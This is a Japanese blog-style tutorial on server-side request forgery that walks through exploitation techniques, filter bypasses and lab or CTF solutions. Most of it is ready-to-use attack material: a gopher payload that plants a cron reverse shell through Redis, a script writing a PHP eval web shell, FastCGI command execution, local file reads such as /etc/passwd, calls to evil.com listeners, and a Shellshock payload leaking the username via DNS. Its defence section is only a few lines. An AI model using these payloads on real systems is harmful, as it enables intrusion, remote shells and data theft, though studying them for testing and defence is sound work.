banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

SSRF(サーバーサイドリクエストフォージェリ)基礎知識

概要#

多くの Web アプリケーションは、他のサーバーからデータを取得する機能を提供しています。この機能は通常「外部リソースの読み込み」と呼ばれます。ユーザーが指定した URL を使用することで、Web アプリケーションは画像の取得、ファイルのダウンロード、ファイル内容の読み取りなど、さまざまな操作を実行できます。しかし、この機能が悪用されると、攻撃者は欠陥のある Web アプリケーションをプロキシとして利用し、リモートおよびローカルのサーバーを攻撃することができます。この形式の攻撃は、サーバーサイドリクエストフォージェリ(Server-side Request Forgery、略して SSRF)と呼ばれます。

SSRF 攻撃では、攻撃者は特別なリクエストを構築することで、サーバー側が発信するリクエストのターゲットを攻撃者自身が制御するシステムや内部システムにします。一般的に、SSRF 攻撃のターゲットは外部から直接アクセスできない内部システム、例えばデータベースや内部ネットワークインターフェースなどです。これにより、攻撃者はファイアウォールを回避し、これらの内部システムに直接アクセスできるようになります。

SSRF 攻撃の発生は、主にサーバー側が他のサーバーからデータを取得する機能を提供しているが、ターゲットアドレスに対して十分なフィルタリングや制限を行っていないことに起因します。例えば、サーバー側は指定された URL からウェブページのテキストコンテンツを取得したり、指定されたアドレスの画像を読み込んだり、ファイルをダウンロードしたりすることを許可する場合があります。サーバー側がこれらの操作に対して適切なセキュリティ制御を行わない場合、例えば URL が内部ネットワークを指しているかどうかを確認したり、アクセス可能な URL の範囲を制限したりしない場合、攻撃者はこの機能を利用して SSRF 攻撃を行う可能性があります。

タイプ#

  • 基本(エコー)
  • 非エコー

利用プロセス#

外部にネットワークリクエストを発信できる場所では、SSRF が存在する可能性があります。以下は 127.0.0.1 の自身の 8080 ポートにリクエストを発信し、関連内容が返されたことを示しており、SSRF 脆弱性が存在することを示しています。

image

リクエストパケットは以下の通りです:

POST / HTTP/1.1
Host: 10.211.55.3:8000
Content-Length: 20
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.211.55.3:8000
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.211.55.3:8000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

url=127.0.0.1%3A8000

ローカルファイルを読み取ろうとする(Windows)

file://C:\windows\win.ini
file://C:\Windows\System32\drivers\etc\hosts

image

image

Linux 環境の場合、以下のファイルを読み取ります:

file:///etc/passwd
file:///etc/hosts
/proc/net/arp
/etc/network/interfaces

ケース 1

GET リクエスト

http://example.com/index.php?page=about.php

http://example.com/index.php?page=https://google.com

http://example.com/index.php?page=file:///etc/passwd

ケース 2

POST リクエスト

POST /test/demo_form.php HTTP/1.1
Host: example.com

url=https://example.com/as&name2=value2

利用方法#

脆弱性の一般的な利用方法#

  • 内部ネットワークポートスキャン
    • DICT、HTTP プロトコルを利用して内部ネットワークのポートの開放状況を探ることができます
    • burp suite によるブルートフォース
    • 一般的なポート、80、8080、3306、6379 などをブルートフォース
    • image
  • ディレクトリスキャン
    • burp suite によるブルートフォース
  • SQL インジェクション
    • エンコーディング形式、二重 URL エンコーディング
  • コマンド実行
    • エンコーディング形式、二重 URL エンコーディング
    • gopher プロトコル
    • url:gopher://[host]:[port]/ 二重 URL エンコーディングされた TCP データストリーム
  • CVE-2017-12615
    • tomcat の put メソッドでファイルを書き込む
  • Redis の未認証アクセス脆弱性(認証なし)
    • DICT プロトコル(dict://x.x.x.x:6379/<Redis コマンド>)
  • ssrf-xss

脆弱性の複雑な利用方法#

ブラインド SSRF 利用#

応答の状態と応答時間に基づいてポートが開いているかどうかを判断します。

以下は一例の表です:

image

アウトオブバンド技術を使用してブラインド SSRF を利用します。

さまざまな利用プロトコル

file:///  
dict://  
sftp://  
ldap://  
tftp://  
gopher://

dict プロトコル#

サーバーが外部サイトへの HTTP リクエストを禁止している場合、またはホワイトリストにある場合は、dict プロトコルを使用できます。

dict://127.0.0.1:22/info
dict://127.0.0.1:6379/info
http://example.com/ssrf.php?dict://evil.com:1337/
  
evil.com:$ nc -lvp 1337  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)  
CLIENT libcurl 7.40.0

gopher プロトコル#

gopher プロトコルは GET、POST リクエストを発信することをサポートします。GET リクエストパケットと POST リクエストパケットをキャプチャし、gopher プロトコルに適合するリクエストを構成できます。

gopher プロトコルは SSRF 利用において最も強力なプロトコルです。

以下のケースでは、302 リダイレクトがリクエストを受け取ります。

http://example.com/ssrf.php?url=http://attacker.com/gopher.phpgopher.php

<?php  
   header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');  
?>  
  
evil.com:# nc -lvp 1337  
Listening on [0.0.0.0] (family 0, port 1337)  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)  
Hi  
ssrf  
test

フォーマット

gopher://<host>:<port>/<gopher-path>_後にTCPデータストリームが続きます

curl gopher://127.0.0.1:8000/_GET%20test

gopher のデフォルトポートは 70 です。

POST リクエストを発信する場合、改行は %0d%0a を使用する必要があります。複数のパラメータがある場合、パラメータ間の & も URL エンコーディングする必要があります。

GET リクエストを送信する

以下のペイロードを送信する場合:

GET /test/get.php?name=test HTTP/1.1
Host: 192.168.1.1

次の形式に変換する必要があります。

curl gopher://192.168.1.2:80/_GET%20/test/get.php%3fname=test%20HTTP/1.1%0d%0AHost:%20192.168.1.2%0d%0A

HTTP パケットの最後に %0d%0a を追加して、メッセージの終了を示します。

POST リクエストを送信する

POST /test/post.php HTTP/1.1
Host: 192.168.1.1
Content-Type:application/x-www-form-urlencoded
Content-Length:11

name=test

次の形式に変換する必要があります。

curl gopher://192.168.1.1:80/_POST%20/test/post.php%20HTTP/1.1%0d%0AHost:192.168.1.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=test%0d%0A

SSRF における利用

http://192.168.1.1/test/ssrf.php?url=gopher://192.168.1.2:6666/_abc

# PHPはパラメータを受け取った後にURLを一度デコードするため、再度URLエンコーディングする必要があります
http://192.168.1.1/test/ssrf.php?url=gopher%3A%2F%2F192.168.1.2%3A80%2F_GET%2520%2Ftest%2Fget.php%253fname%3Dtest%2520HTTP%2F1.1%250d%250AHost%3A%2520192.168.1.2%250d%250A

URL 内の/は二重エンコーディングできず、ポート番号も二重エンコーディングできず、プロトコル名も二重エンコーディングできません。

gopher プロトコルを利用して Redis のリバウンドシェルにアクセス

curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

s/ftp プロトコル#

sftp プロトコルは SSH ファイル転送プロトコルの略で、安全な転送プロトコルです。ファイルを転送するために使用されます。

http://example.com/ssrf.php?url=sftp://evil.com:1337/ 
  
evil.com:$ nc -lvp 1337  
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)  
SSH-2.0-libssh2_1.4.2

tftp#

ファイル転送プロトコル

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET  
  
evil.com:# nc -lvup 1337  
Listening on [0.0.0.0] (family 0, port 1337)  
TESTUDPPACKEToctettsize0blksize512timeout3

file プロトコル#

file プロトコルはファイルシステム内の機密ファイルを読み取るために使用されます。

http://example.com/ssrf.php?url=file:///etc/passwd  
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

ldap/s/i#

LDAP は軽量ディレクトリアクセスプロトコルを表します。これは、IP ネットワーク上で分散ディレクトリ情報サービスを管理およびアクセスするためのアプリケーションプロトコルです。

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit  
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit  
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

pdf ssrf#

場合によっては、サーバーがアップロードされたファイルを PDF ファイルに変換することがあります。

<iframe>, <img>, <base>または<script>タグ、CSS url () を使用して内部サービスにリクエストを送信し、機密ファイルを読み取ることを試みます。

<iframe src=”file:///etc/passwd” width=”400" height=”400">
<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">

avi#

fastcgi プロトコル#

title:ctfhub靶场
  • まずサーバーでリスニングします。
nc -lvnp 9000 > 1.txt
  • クライアントは Python スクリプトを使用して 9000 ポートに接続します。
python3 fastcgi1.py -c "<?php system('ls /');?>" -p 9000 1.116.2.18 /var/www/html/index.php
  • 生成された txt ファイルを次の Python スクリプトで二重エンコーディングします。
# -*- coding: UTF-8 -*-
from urllib.parse import quote, unquote
file= open('2.txt','rb')
payload= file.read()
payload= quote(payload).replace("%0A","%0A%0D")
print("gopher://127.0.0.1:9000/_"+quote(payload))

image

ペイロードを脆弱性パラメータに配置します。

image

ファイル名がわかったら、cat コマンドでフラグの内容を確認します。

python3 fastcgi1.py -c "<?php system('cat /flag_63145aa166622ee7912b2e512c0601a3');?>" -p 9000 1.116.2.18 /var/www/html/index.php

前の手順と同様です。

利用ケース#

ポートスキャン#

SSRF は DICT プロトコルと組み合わせて内部ネットワークのポートの開放状況を探ることができ、TCP エコーのポートのみを探ることができます。

image

redis#

curl 'gopher://127.0.0.1:6379/_%2a%31%0d%0a%24%37%0d%0a%43%4f%4d%4d%41%4e%44%0d%0a%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'

ツール#

https://github.com/firebroo/sec_tools/tree/master/redis-over-gopher
上記のツールは再度 URL エンコーディングする必要があります。

[[ctfhub-skilltree.md# 二次编码脚本 | url 二重エンコーディングスクリプト]]

redis にシェルを書き込む

import urllib
protocol="gopher://"
ip="192.168.134.132" //IPアドレス
port="6379" //ポート
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"//書き込む内容はワンライナーのマルウェア
filename="1.php" //ファイル名は1.php
path="/var/www/html"//デフォルトパス
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

This tool generates gopher link for exploiting SSRF and gaining RCE in various servers

ケース#

[[ctfhub-skilltree.md#redis|ssrf による redis へのシェル書き込みシナリオ]]

バイパス技術#

fuzz 辞書#

  • web 脆弱性 ->ssrfDicts

ホワイトリスト#

1、指定された IP またはドメイン名が指定されたリソースにアクセスを許可します。

ホワイトリストは:abc.com

直接読み取ることはできません。

http://example.com/ssrf.php?url=https://google.com 

ホワイトリストドメイン内でオープンリダイレクト脆弱性を見つけ、オープンリダイレクト脆弱性を利用します。

http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com

2、サブドメイン

ホワイトリストは:*.abc.com

http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com 

ブラックリスト#

  • IP を以下のバイパス可能な IP に変更
  • フィルタリングされた文字をエンコーディング
  • またはドメインを使用して localhost を指す

特殊 IP#

http://0177.1/   # 十進法 http://127.0.0.1
http://0x7f.1/   # 十六進法 http://127.0.0.1
http://127.000.000.1
https://520968996

エラー IP#

http://127.1
http://0
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib : 3.3.3.3
http://127.1.1.1:80\@127.2.2.2:80/

ipv6#

http://[::1]
http://[::]
http://[::]:80/
http://0000::1:80/·

その他のプロトコル#

gopher://
dict://
php://
jar://
tftp://

DNS 欺瞞#

10.0.0.1.xip.io
www.10.0.0.1.xip.io
mysite.10.0.0.1.xip.io
foo.bar.10.0.0.1.xip.io

xip.io#

10.0.0.1.nip.io
app.10.0.0.1.nip.io
customer1.app.10.0.0.1.nip.io
customer2.app.10.0.0.1.nip.io
otherapp.10.0.0.1.nip.io

エンコーディングバイパス#

これには、16 進数エンコーディング、8 進数エンコーディング、ダブルワードエンコーディング、URL エンコーディング、および混合エンコーディングが含まれます。

127.0.0.1は0x7f.0x0.0x0.0x1に変換されます
127.0.0.1は0177.0.0.01に変換されます
http://127.0.0.1はhttp://2130706433に変換されます
localhostは%6c%6f%63%61%6c%68%6f%73%74に変換されます

ホワイトリスト#

  • URL の前に認証を追加し、@で区切ることができます。username を内部システムの IP に置き換え、他のパスを最後に追加します。
http://[email protected]/
http://localhost:80#@stock.weliketoshop.net/admin
http://[email protected]/

image

  • 各 URL セグメントを #で分割することもできます。
https://evil-host#expected-host
  • DNS の命名構造を使用します。
https://expected-host.evil-host
  • 文字を URL エンコーディングして URL パーサーを混乱させることができます。

302 リダイレクト#

時には、サーバーが多くのプロトコルをフィルタリングすることがあります。たとえば、渡された URL に「http」または「https」のみが表示されることを許可する場合、独自のサーバーで 302 リダイレクトを作成し、Gopher プロトコルを利用して内部の Redis を攻撃することができます。

image

SSRF ラボ#

ラボ:ローカルサーバーに対する基本的な SSRF#

パケットをキャプチャし、正常なリクエストを確認します。

image

stockApi をhttp://localhost/admin に変更すると、直接未認証でバックエンドパネルにアクセスできました。

image

ユーザーを削除するには、次のパラメータを入力します:stockApi=http://localhost/admin/delete?username=carlos

アカウントが正常に削除されました。

image

ラボ:別のバックエンドシステムに対する基本的な SSRF#

title:実験目標
ssrfを使用して内部ネットワークのポートスキャンを行い、192.168.0.Xネットワークセグメントの8080ポートを発見します。

同様に、check stock ページに移動します。

正常なリクエストは以下の通りです:

image

intruder に送信します。

image

ペイロードを設定します。

image

応答サイズを確認すると、IP が 192.168.0.154 であることがわかります。

image

ユーザー carlos を削除し、削除が成功しました。

image

ブラックリストベースの入力フィルタによる SSRF#

内部ネットワーク URL を入力すると、ブロックされます。

image

ブラックリストをバイパスするために、127.0.0.1 を 127.1 に変更し、admin もブロックされます。admin の a を二重エンコーディングし、特別な文字に対してのみ二重エンコーディングします。

image

carlos アカウントを削除します。

image

ホワイトリストベースの入力フィルタによる SSRF#

image

ホワイトリストは stock.weliketoshop.net へのアクセスのみを許可します。

image

http://[email protected]/ を入力して観察すると、この埋め込み資格情報の URL を使用してバイパスできることがわかります。

image

username の後に #を追加すると、依然としてブロックされ、# を二重エンコーディングすると、ブロックされないことがわかります。

http://localhost%[email protected]/

image

その後、admin を追加し、上記の画像は正常にバイパスされます。

image

post リクエストを送信して carlos アカウントを削除します。

stockApi=http://localhost%[email protected]/admin/delete?username=carlos

ラボ:オープンリダイレクト脆弱性を介したフィルターバイパスによる SSRF#

オープンリダイレクト脆弱性を利用して SSRF 脆弱性を実現し、ターゲットはhttp://192.168.0.12:8080/adminにアクセスし、ユーザーcarlosを削除します。

まず、オープンリダイレクト脆弱性を見つける必要があります。商品詳細ページのリンクリダイレクト部分で見つけることができます。

image

リンクは以下の通りです:

https://0a3300a604b37c64c0333bfc004e00dd.web-security-academy.net/product/nextProduct?currentProductId=18&path=http://www.baidu.com

http://www.baidu.com に直接リダイレクトできます。

check stock のリクエストパケットをキャプチャします。

上記のパケットを送信すると、path パラメータが欠落しているというメッセージが表示されます。

image

currentProductId を削除します。

image

ユーザーを削除します。

image

ブラインド SSRF によるアウトオブバンド検出#

脆弱性は referer にあります。

image

Burp Collaborator クライアントを開き、ドメインをコピーします。

image

それを referer にコピーし、リクエストを送信すると、Burp Collaborator クライアントが送信されたリクエストを受信しました。

image

ラボ:Shellshock を利用したブラインド SSRF#

1、実験を実現するには、まず「Collaborator Everywhere」プラグインをインストールする必要があります。これは burp のストアに含まれており、インストールできます。

2、被害者のウェブサイトにアクセスし、パケットをキャプチャします。右クリックして、スコープに追加します。

image

3、その後、ウェブサイトを引き続きブラウズすると、「Collaborator Everywhere」プラグインがリクエストを送信し、関連する応答を確認できるようになります。これにより、ここに SSRF 脆弱性が存在することがわかります。

image

4、具体的なリクエストは以下の通りです。

image

他のリクエストも追加されました。

image

intruder モジュールに送信し、ブルートフォースを実行します。User-Agent を以下のペイロードに設定し、referer をブルートフォースする必要がある内部ネットワークサーバーのセグメントに設定します。

() { :; }; /usr/bin/nslookup $(whoami).84acawqr43oy7jeg4ug7khwsmjs9gy.burpcollaborator.net

image

ブルートフォースするパラメータを設定します。

image

スレッドを 1 に設定します。

image

ブルートフォースを開始し、Burp Collaborator クライアントがリクエストを受信したかどうかを確認します。

image

上記のように、サーバーのユーザー名を取得しました。

脆弱性の危険性#

SSRF は外部ネットワーク、サーバーが存在する内部ネットワーク、ローカルのポートスキャンを行い、内部またはローカルで実行されているアプリケーションを攻撃したり、File プロトコルを利用してローカルファイルを読み取ったりすることができます。

内部ネットワークサービスは外部ネットワークサービスに比べて一般的に防御が弱く、場合によっては一部の内部ネットワークサービスは運用の便宜のために内部ネットワークへのアクセスに対する権限検証を行っていないため、SSRF が存在する場合、通常は大きな危害をもたらします。

防御方法#

  • 返された情報をフィルタリングする
  • 統一されたエラーメッセージ
  • リクエストのポートを制限する
  • 使用されていないプロトコルを禁止する
  • DNS リバインディングに対して、DNS キャッシュまたはホストのホワイトリストを使用することを検討する

その他#

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。